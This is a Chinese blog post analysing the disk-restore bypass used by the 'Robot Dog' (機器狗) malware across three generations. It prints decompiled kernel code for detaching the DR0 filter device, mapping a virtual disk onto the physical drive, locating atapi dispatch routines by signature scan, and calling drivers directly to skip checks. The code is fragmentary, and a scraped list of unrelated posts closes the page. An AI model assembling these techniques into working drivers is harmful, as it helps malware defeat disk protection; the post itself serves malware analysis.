1. 程式人生 > >從機器狗淺析磁碟還原穿越技術(第一代到目前的第三代)

從機器狗淺析磁碟還原穿越技術(第一代到目前的第三代)

從機器狗淺析磁碟還原穿越技術



本文首先感謝女王提供的無數資料和code ,非常感謝。

磁碟保護驅動工作在檔案過濾系統之下,磁碟過濾驅動(disk.sys)之上
將上層對於磁碟的訪問定位到自己的處理過程

如圖所示 最新版本的狙劍提供了檢視功能,我的系統安裝了nod32
因此有一個eamon.sys掛載在fastfat.sys之上,,防毒軟體就是依靠
這個東西實現的檔案監控,如果我們摘除他 檔案監控也就失效了,
關於這個本文不做進一步討論

第一代機器狗穿越還原是清除//Device//Harddisk0//DR0上的附加裝置
相關程式碼如下
Quote:

    UNICODE_STRING objectName;
    PDEVICE_OBJECT hardObject = NULL;
    PFILE_OBJECT fileObject = NULL;
    RtlInitUnicodeString(&objectName, PCIHDD_DR0DEVICE_NAME);
    status = IoGetDeviceObjectPointer(&objectName, FILE_READ_ATTRIBUTES, &fileObject, &hardObject);
    ASSERT(NT_SUCCESS(status));
    HddDr0Device = fileObject->DeviceObject; // 說明 : HddDr0Device->AttachedDevice 就是 hardObject
    if(HddDr0Device->AttachedDevice)
    { // 儲存DR0上的附加裝置, 然後斷開附加,
    HddAttDevice = InterlockedExchangePointer((PVOID*)&HddDr0Device->AttachedDevice, NULL);
    }
    ObDereferenceObject(fileObject);
    }



這個程式碼比較漂亮的使用了InterlockedExchangePointer
當然你直接迴圈執行HddDr0Device->AttachedDevice=NULL
也沒有多大問題

這就是第一代機器狗,感染的檔案是userinit,詳細的查殺文章不再詳述,
可參考其他文章
Quote:

    typedef struct _PARTITION_ENTRY
    {
    UCHAR active; // 能否啟動標誌
    UCHAR StartHead; // 該分割槽起始磁頭號
    UCHAR StartSector; // 起始柱面號高2位:6位起始扇區號
    UCHAR StartCylinder; // 起始柱面號低8位
    UCHAR PartitionType; // 分割槽型別
    UCHAR EndHead; // 該分割槽終止磁頭號
    UCHAR EndSector; // 終止柱面號高2位:6位終止扇區號
    UCHAR EndCylinder; // 終止柱面號低8位
    ULONG StartLBA; // 起始扇區號
    ULONG TotalSector; // 分割槽尺寸(總扇區數)
    } PARTITION_ENTRY, *PPARTITION_ENTRY;

    //==============================================================================
    typedef struct _MBR_SECTOR
    {
    UCHAR BootCode[446];
    PARTITION_ENTRY Partition[4];
    USHORT Signature;
    } MBR_SECTOR, *PMBR_SECTOR;

    //==============================================================================
    typedef struct _BBR_SECTOR
    {
    USHORT JmpCode; // 2位元組跳轉指令,跳轉到引導程式碼
    UCHAR NopCode; // 1位元組nop指令,填充用,保證跳轉指令長3個位元組
    UCHAR OEMName[8]; // 8位元組的OEMName

    // 下面開始為: BPB( BIOS Parameter Block )

    USHORT BytesPerSector; // 每個扇區的位元組數 (512 1024 2048 4096)
    UCHAR SectorsPerCluster; // 每個簇的扇區數 ( 1 2 4 8 16 32 64 128 )兩者相乘不能超過32K(簇最大大小

)
    USHORT ReservedSectors; // 從卷的第一個扇區開始的保留扇區數目,該值不能為0,對於FAT12/FAT16,該值

通常為1,對於FAT32,典型值為32
    UCHAR NumberOfFATs; // 捲上FAT資料結構的數目,該值通常應為2,[NTFS不使用NumberOfFATs欄位,必須為0]
    USHORT RootEntries; // 對於FAT12/FAT16,該值表示32位元組目錄項的數目,對於FAT32,該值必須為0;[NTFS不

使用]
    USHORT NumberOfSectors16; // 該捲上的扇區總數,該欄位可以為0,如果該欄位為0,則NumberOfSectors32

不能為0;對於FAT32,該欄位必須為0 [FAT32/NTFS不使用該欄位]
    UCHAR MediaDescriptor; // 介質型別
    USHORT SectorsPerFAT16; // 該欄位標識一個FAT結構佔有的扇區數(FAT12/FAT16),對於FAT32卷,該欄位必

須為0;[FAT32/NTFS不使用該欄位]
    USHORT SectorsPerTrack; // 用於INT 0x13中斷的每個磁軌的扇區數
    USHORT HeadsPerCylinder; // 用於INT 0x13中斷的每個柱面的磁頭數
    ULONG HiddenSectors; // 包含該FAT卷的分割槽之前的隱藏扇區數
    ULONG NumberOfSectors32; // 該欄位包含該捲上的所有扇區數目,對於FAT32,該欄位不為0;FAT12/FAT16可

根據實際大小是否超過65536個扇區數決定是否採用該欄位; [NTFS不使用該欄位]

    // 下面開始為: EBPB ( Extended BIOS Parameter Block )

    ULONG SectorsPerFAT32; // 對於FAT32,該欄位包含一個FAT的大小,而SectorsPerFAT16欄位必須為0;
    } BBR_SECTOR, *PBBR_SECTOR;



後來的機器狗作了一些小小改進,變成了感染3個檔案,但是大體的程式碼
沒有多少改變,個人不喜歡將其定義成第二代

感謝MJ0011指出錯誤,
相比第一代機器狗,第2代機器狗反而沒有了檔案系統分析工作
而是使用虛擬磁碟對映真實磁碟的方法實現,解析工作完全交給了檔案系統本身

第一代機器狗沒有多少好說的了。核心部分就是移除DR0上面的附加玩意

我們來看看第二代機器狗,也就是虛擬磁碟的版本

Quote:

    SourceString = '//';
    v10 = 'D';
    v13 = 'e';
    v14 = 'v';
    v15 = 'i';
    v16 = 'c';
    v17 = 'e';
    v18 = '//';
    v19 = 'z';
    v20 = 'z';
    v21 = 'z';
    RtlInitUnicodeString(&DestinationString, &SourceString);
    ObjectAttributes.Length = 24;
    ObjectAttributes.RootDirectory = 0;
    ObjectAttributes.Attributes = 16;
    ObjectAttributes.ObjectName = &DestinationString;
    ObjectAttributes.SecurityDescriptor = 0;
    ObjectAttributes.SecurityQualityOfService = 0;
    v3 = ZwCreateDirectoryObject(&g_DirHandle, 0xF000Fu, &ObjectAttributes);
    ntStatus = v3;
    if ( v3 >= 0 )
    {
    ZwMakeTemporaryObject(g_DirHandle);
    DeviceNumber = 0;
    while ( DeviceNumber < v12 )
    {
    v4 = CreateDevice(DriverObject, DeviceNumber);
    ntStatus = v4;
    if ( v4 < 0 )
    goto LABEL_17;
    ++DeviceNumber;
    }
    DriverObject->MajorFunction[0] = (PDRIVER_DISPATCH)CreateClose;
    DriverObject->MajorFunction[2] = (PDRIVER_DISPATCH)CreateClose;
    DriverObject->MajorFunction[3] = (PDRIVER_DISPATCH)ReadWriteRoutine;
    DriverObject->MajorFunction[4] = (PDRIVER_DISPATCH)ReadWriteRoutine;
    DriverObject->MajorFunction[14] = (PDRIVER_DISPATCH)IoControl;
    DriverObject->DriverUnload = (PDRIVER_UNLOAD)DrvUnload;
    memset((void *)&SourceString, 0, 0x40u);
    SourceString = '//';
    v10 = 'D';
    v13 = 'e';
    v14 = 'v';
    v15 = 'i';
    v16 = 'c';
    v17 = 'e';
    v18 = '//';
    v19 = 'z';
    v20 = 'z';
    v21 = 'z';
    v26 = '//';
    v27 = 'z';
    v28 = 'z';
    v29 = 'z';
    v30 = 'x';
    v31 = 'x';
    v32 = 'x';
    RtlInitUnicodeString(&DeviceName, &SourceString);
    v5 = IoCreateDevice(DriverObject, 0x27u, &DeviceName, FILE_DEVICE_UNKNOWN, 0, 0,

&g_DeviceObject);
    ntStatus = v5;
    if ( v5 >= 0 )
    {
    v6 = g_DeviceObject->DeviceExtension;
    memset(v6, 0, 0x24u);
    v6 = (char *)v6 + 36;
    *(_WORD *)v6 = 0;
    *((_BYTE *)v6 + 2) = 0;
    memset((void *)&SourceString, 0, 0x40u);
    SourceString = '//';
    v10 = 'D';
    v13 = 'o';
    v14 = 's';
    v15 = 'D';
    v16 = 'e';
    v17 = 'v';
    v18 = 'i';
    v19 = 'c';
    v20 = 'e';
    v21 = 's';
    v26 = '//';
    v27 = 'z';
    v28 = 'z';
    v29 = 'z';
    v30 = 'x';
    v31 = 'x';
    v32 = 'x';
    RtlInitUnicodeString(&SymbolicLinkName, &SourceString);
    v7 = IoCreateSymbolicLink(&SymbolicLinkName, &DeviceName);


當裝置目錄"//Device//zzz"不存在的時候,建立會失敗。
所以應該先建立這個目錄,使用ZwCreateDirectoryObject建立裝置目錄
然後IoCreateDevice完成這個裝置建立並且使用IoCreateSymbolicLink建立指向這個
裝置的link,這一個部分就是建立一個虛擬磁碟。相關程式碼可以參考filedisk
filedisk的功能是將一個映象檔案img,iso,flp等直接mount上去實現直接訪問
WinMount的優點是還能支援filedisk所不支援的rar等檔案格式

感謝MJ和刀客的指點。在這裡第二代機器狗完成了一個工作,將對於虛擬磁碟的
訪問轉換到真實磁碟
分別獲取//GLOBAL??//PhysicalDriveX和//??//PhysicalDriveX
Quote:

    wcscpy(globaldrivex,L"//GLOBAL??//PhysicalDrive");
    globaldrivex[23]=(WORD)index+0x30;
    globaldrivex[24]=0;
    wcscpy(drivex,L"//??//PhysicalDrive");
    drivex[17]=(WORD)index+0x30;
    drivex[18]=0;

    RtlInitUnicodeString(&us,globaldrivex);
    if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
    {
    RtlInitUnicodeString(&us,drivex);
    if(IoGetDeviceObjectPointer(&us,FILE_READ_ATTRIBUTES,FileObject,DeviceObject))
    return 1;
    }
    *DeviceObject=(*FileObject)->DeviceObject;


接下來就是對於轉換虛擬磁碟的操作了
Quote:

    signed int ÷ ReadWriteRoutine(int DeviceObject, PIRP Irp)
    {
    int v2; //

[email protected]
    PIRP v3; // [email protected]
    signed int v4; // [email protected]
    PIO_STACK_LOCATION v5; // [email protected]

    v2 = *(_DWORD *)(DeviceObject + 40);
    if ( !*(_BYTE *)(v2 + 4)
    || !g_PhyDrvDeviceObject && GetPhysicalDriveObject(&g_PhyDrvDeviceObject, &g_PhyDrvFileObject) <

0 )
    {
    v3 = Irp;
    Irp->IoStatus.Status = STATUS_NO_MEDIA_IN_DEVICE;
    v4 = STATUS_NO_MEDIA_IN_DEVICE;
    @CompleteIrp:
    v3->IoStatus.Information = 0;
    IofCompleteRequest(v3, 0);
    return v4;
    }
    v3 = Irp;
    v5 = (PIO_STACK_LOCATION)Irp->Tail.Overlay.CurrentStackLocation;
    if ( !v5->Parameters.Create.SecurityContext )
    {
    Irp->IoStatus.Status = 0;
    v4 = 0;
    goto @CompleteIrp;
    }
    v5->Control |= 1u;
    ExfInterlockedInsertTailList((PLIST_ENTRY)(v2 + 6), &v3->Tail.Overlay.ListEntry, (PKSPIN_LOCK)(v2

+ 14));
    KeSetEvent((PRKEVENT)(v2 + 18), 0, 0);
    return 259;
    }


對於送過來的讀寫請求,首先將這個irp用IoMarkIrpPending設定成pending狀態
然後ExInterlockedInsertTailList送入連結串列並且設定一個Event
另外有一個執行緒專門處理寫入工作,將這個irp上面的資料傳送給真實的磁碟裝置
這個偶不懂,也就不敢亂說了
Quote:


    typedef struct _SCSI_REQUEST_BLOCK {
    USHORT Length;
    UCHAR Function;
    UCHAR SrbStatus;
    UCHAR ScsiStatus;
    UCHAR PathId;
    UCHAR TargetId;
    UCHAR Lun;
    UCHAR QueueTag;
    UCHAR QueueAction;
    UCHAR CdbLength;
    UCHAR SenseInfoBufferLength;
    ULONG SrbFlags;
    ULONG DataTransferLength;
    ULONG TimeOutValue;
    PVOID DataBuffer;
    PVOID SenseInfoBuffer;
    struct _SCSI_REQUEST_BLOCK *NextSrb;
    PVOID OriginalRequest;
    PVOID SrbExtension;
    union {
    ULONG InternalStatus;
    ULONG QueueSortKey;
    };
    UCHAR Cdb[16];
    } SCSI_REQUEST_BLOCK, *PSCSI_REQUEST_BLOCK;


使用IoCallDriver傳送指令給真實磁碟,第三代對於這裡是使用的MyIoCallDriver

第三代機器狗偶沒有樣本 就只能從MJ0011提供的F5樣本來分析了
這個東東的首先會讀取ftdisk.sys檔案,從檔案中獲取atapi.sys的原始MajorFunction
讀檔案的過程是首先在PE區段內找到INIT,從而定位DriverEntry
從DriverEntry中讀取DispatchRoutine的地址,,搜尋方法還是特徵碼辦法
Quote:

    if ( v17 < v26 + v17 )
    {
    while ( *((_BYTE *)v11 + v17) != -57
    || *((_BYTE *)v11 + v17 + 2) != 48
    || *((_BYTE *)v11 + v17 + 7) != -57
    || *((_BYTE *)v11 + v17 + 9) != 52
    || *((_BYTE *)v11 + v17 + 14) != -57
    || *((_BYTE *)v11 + v17 + 21) != -57
    || *((_BYTE *)v11 + v17 + 28) != -57 )
    {
    ++v17;
    if ( v17 >= v18 )
    goto LABEL_41;
    }
    v19 = v30;
    if ( v30 )
    {
    v20 = v31;
    if ( v31 )
    {
    *(DWORD *)v30 = *(DWORD *)(v11 + v17 + 24) - 65536;
    v27 = *(DWORD *)(v11 + v17 + 17) - 65536;
    *(DWORD *)v20 = *(DWORD *)(v11 + v17 + 17) - 65536;
    v28 = *(DWORD *)v19;
    v42 = 1;
    DbgPrint("xxx address is: %08x....%08x...%08x/n", v17, v28, v27);


偶沒有idb,MJ0011的F5程式碼雖然很亂,不過還是能猜是特徵碼定位出來的
另外一個功能就是獲取atapi的drx
RtlInitUnicodeString((UNICODE_STRING *)&v19, L"//Device//HardDiskVolume%d");
if ( v7 < 0 )
{
v5 = v18;
}
else
{
ATAPI_drvobj = (int)Object;
v4 = GetLastDiskDeviceObject((int)Object);
v5 = v4;
if ( v4 )
{
DbgPrint("ata dr0 dev obj is : %08x...", v4);
ata_dr0device_object = v5;
}
ObfDereferenceObject(Object);
}
獲得最底層disk程式碼
while ( v2 )
{
if ( *(DWORD *)(v2 + 44) == FILE_DEVICE_DISK )
result = v2;
v2 = *(DWORD *)(v2 + 12);
}
似乎是堆疊搜尋過來的

第三代採用了自己的IoCallDriver
系統的IoCallDriver-pIofCallDriver-IopfCallDriver
其中有大量的對於Object和IRP的驗證
最後來到呼叫點
Quote:

    .text:0040C7D0 ; __fastcall IopfCallDriver(x, x)
    .text:0040C7D0 @
[email protected]
proc near ; CODE XREF: IovCallDriver(x,x)+1C p
    .text:0040C7D0 ; IovCallDriver(x,x)+9B p ...
    .text:0040C7D0 dec byte ptr [edx+23h]
    .text:0040C7D3 mov al, [edx+23h]
    .text:0040C7D6 test al, al
    .text:0040C7D8 jle loc_444DDC
    .text:0040C7DE mov eax, [edx+60h]
    .text:0040C7E1 sub eax, 24h
    .text:0040C7E4 push esi
    .text:0040C7E5 mov [edx+60h], eax ; 下層stack
    .text:0040C7E8 mov [eax+14h], ecx ; 獲取DeviceObject
    .text:0040C7EB movzx eax, byte ptr [eax] ; 指向MajorFunction
    .text:0040C7EE mov esi, [ecx+8] ; DriverObject
    .text:0040C7F1 push edx
    .text:0040C7F2 push ecx
    .text:0040C7F3 call dword ptr [esi+eax*4+38h] ; 呼叫DispatchRoutine
    .text:0040C7F7 pop esi
    .text:0040C7F8 retn


由此我們完全可以自己實現

剩下的部分還有一個讀取開啟userinit,從中ObReferenceObjectByHandle獲得檔案物件
file object -> vpb -> device object然後
傳送IRP_MJ_FILE_SYSTEM_CONTROL獲取檔案
Quote:

    KeInitializeEvent(&Event, SynchronizationEvent, 0);
    *(DWORD *)(v3 + 60) = &v39;
    *(DWORD *)(v3 + 44) = &Event;
    *(DWORD *)(v3 + 4) = 0;
    *(DWORD *)(v3 + 8) = IRP_DEFER_IO_COMPLETION;
    *(DWORD *)(v3 + 40) = &IoStatusBlock;
    *(_BYTE *)(v3 + 32) = KernelMode;
    *(DWORD *)(v3 + 80) = KeGetCurrentThread();
    *(DWORD *)(v3 + 100) = Object;
    v22 = *(DWORD *)(v3 + 96) - 36;
    *(_BYTE *)v22 = IRP_MJ_FILE_SYSTEM_CONTROL;
    *(DWORD *)(v22 + 20) = *(DWORD *)(*((DWORD *)Object + 2) + 8);
    *(DWORD *)(v22 + 24) = Object;
    *(DWORD *)(v22 + 12) = 589939;
    *(DWORD *)(v22 + 8) = 8;
    *(DWORD *)(v22 + 16) = &v29;
    *(DWORD *)(v22 + 4) = 272;


不過的感覺發送給atapi的scsi_request_block與第二代相差不大
也沒能看明白。不敢亂說了。哈

相關推薦

機器淺析磁碟還原穿越技術(第一目前

從機器狗淺析磁碟還原穿越技術 本文首先感謝女王提供的無數資料和code ,非常感謝。 磁碟保護驅動工作在檔案過濾系統之下,磁碟過濾驅動(disk.sys)之上 將上層對於磁碟的訪問定位到自己的處理過程 如圖所示 最新版本的狙劍提供了檢視功能,我的系統安裝了nod32 因此有一

計算機網絡管理技術復習(楊雲江主編(轉載請註明出處---https://www.cnblogs.com/qingl

請求 計算機網絡 數據信息 網絡環境 時間 應用程序 擴展 應用 抽象 計算機網絡管理技術復習(第三版)楊雲江主編(轉載請註明出處---https://www.cnblogs.com/qingl) 第一章 1-3,簡述OSI模型7層的基本功能。 答: 1)物理層: 通過通信

資訊保安技術實用教程(3版

本科教材 (已經出版) http://www.phei.com.cn/module/goods/wssd_content.jsp?bookid=47935 主  編:     張同光 ISBN號:  978-7-121-2

Python程式設計:入門到實踐的動手試一試答案(

#3-1 姓名 names = ['Qiqi','Danliang','Mingliang','Peng'] for x in range(0,4): print(names[x]) #3

資料探勘概念與技術(原書範明 孟小峰譯-----六章課後習題答案

第六章答案 第六章答案 該答案為重慶大學計算機學院Jack Channy所作,由於本人水平有限,難免有錯誤和不當之處,如有意見請評論或者發郵件至[email protected]。 6.1 假設有資料集D上所有閉頻繁項集

《現代作業系統(中文版》電子書附下載連結+30個總結JVM虛擬機器技術文排版好(收藏版

技術書閱讀方法論 一.速讀一遍(最好在1~2天內完成) 人的大腦記憶力有限,在一天內快速看完一本書會在大腦裡留下深刻印象,對於之後複習以及總結都會有特別好的作用。 對於每一章的知識,先閱讀標題,弄懂大概講的是什麼主題,再去快速看一遍,不懂也沒有關係,但是一定要在不懂的

機器學習演算法的發展 理解 端到端(end to end學習

經典機器學習方式是以人類的先驗知識將raw資料預處理成feature,然後對feature進行分類。分類結果十分取決於feature的好壞。 傳統機器學習專家將大部分時間花費在設計feature上。那時的機器學習有個更合適的名字叫feature engineering 。 

平安科技移動開發二隊技術周報(四期

移動開發 程序猿 book watch 來看 home 錯誤 去那 this 平安科技移動開發二隊技術周報(第四期) 業界新聞 1)Java 9將於2016年正式公布 Oracle已經宣布了Java 9的時間表。其目標是在2016年9年正式公布

分布式技術追蹤 2017年十二期

-c 架構 運維基礎 維基 高可用 archive 應用 sos pan 分布式系統實踐 1. 數據一致性-分區可用性-性能——多副本強同步數據庫系統實現之我見 http://hedengcheng.com/?p=892 摘要: 這篇文章非常深入的解釋了數據一致性的問題和解

分布式技術追蹤 2017年十四期

常見 關鍵技術 blank 日誌 基礎架構 -c 多進程 nbsp rdb 分布式系統實踐 1. Linearizability 一致性驗證 http://dwz.cn/6pPYpb 摘要: 一致性是分布式系統很常見的特性, Jepsen是驗證分布式系統一致性的有力工具.

分布式技術追蹤 2017年十七期

生態 golang 摘要 比較 weixin 設計 too .com 技術文章 分布式系統實踐 1. 微信開源PhxQueue:高可用、高可靠、高性能的分布式隊列 https://mp.weixin.qq.com/s/Hr4TUg8o1AQkowQpSDIhYA 摘要: P

單線走向雙線,用戶體驗即將到來?

缺陷 技術分享 樂趣 獲取信息 了解 通道 下單 用戶體驗 -i 雙十一在即,加之今年的新零售狂潮,零售業從線上到線下可以說紛紛摩拳擦掌。京東天貓劍指雙十一已是老生常談,值得註意的是,今年的雙十一迎來了更多樣化的全民購物盛事,比如飛凡APP推出的“2017飛凡狂逛節”。據

layui中子窗口傳遞數據到父窗口,個子彈層的值傳給第二個彈層

9.png set 定義 local 個人 還需要 參考 cal 應該 最近做一個項目的需要多個彈層,每個彈層中還需要數據傳遞, 大概如圖,看圖自己應該明白 如何在在b頁面選擇好的值傳給a頁面的問題,這個問題我百度了好久都沒有解決 後來參考了文檔 http://fuxia

分布式技術追蹤 2018年十一期

響應時間 distrib 我們 ice ber apple dns 理解 ofo 分布式技術追蹤 2018年第三十一期 分布式系統實踐 1. Google‘s New Book: The Site Reliability Workbook http://highscalab

機器人作業系統(ROS淺析(肖軍浩 博士 譯 學習筆記一(第一章到五章

機器人作業系統(ROS)淺析(肖軍浩 博士 譯) 學習筆記 第一章: 第 1 章 緒論 1.1 選擇 ROS 的理由  分散式計算 現代機器人系統往往需要多個計算機同時執行多個 程序,例如:   (1)一些機器人搭載多臺計算機,每臺計算機用於控制機器人的 部分驅動器或感測器

《深入理解JAVA虛擬機器》詳細解讀(:垃圾收集器與記憶體分配策略

  目錄 一、垃圾收集器與記憶體分配策略 1 概述 2 物件已經死亡? 2.1引用計數法(未使用) 2.2可達性分析演算法 2.3 再談引用 2.4 生存還是死亡 2.5 回收方法區 3 垃圾收集演算法 3.1 複製演算法(Copy) 3

學習筆記之《Java核心技術卷I》---- 章 Java的基本程式設計結構

Java中沒unsigned關鍵字 int Math.round(float a)  long Math.round(double a) &&、||:短路操作   &、|:非短路操作 列舉型別必須放在放在函式之外定義

機器學習面試總結(

9、整合學習大致分類?通俗理解怎樣才能提高整合學習的效能? 10、Booststrap sampling需要解決的問題?Booststrap sampling的思想?Bagging的基本思想?從偏差方差角度解釋bagging? 11、隨機森林RandomForest的思想?RF與bagg

深入理解計算機系統(原書練習題2.6 感性認識整型和浮點型別(同一個數機器中表示

/** * 練習題2.6 感性認識整型和浮點型別(同一個數)在機器中表示 * 由於我的機器是小端表示,將列印結果還原真實數並用二進位制表示 * 41913500 -->(還原) 0x00359141 -->(二進位制) 0000 0000 0011 0101

【自學筆記】0基礎自學機器學習 (

  “資料”是機器學習的基礎。       初學機器學習時,我們通常處理的資料格式通常是以下的形式:     屬性(特徵) 幾室 幾廳 供暖(0地熱 1暖氣)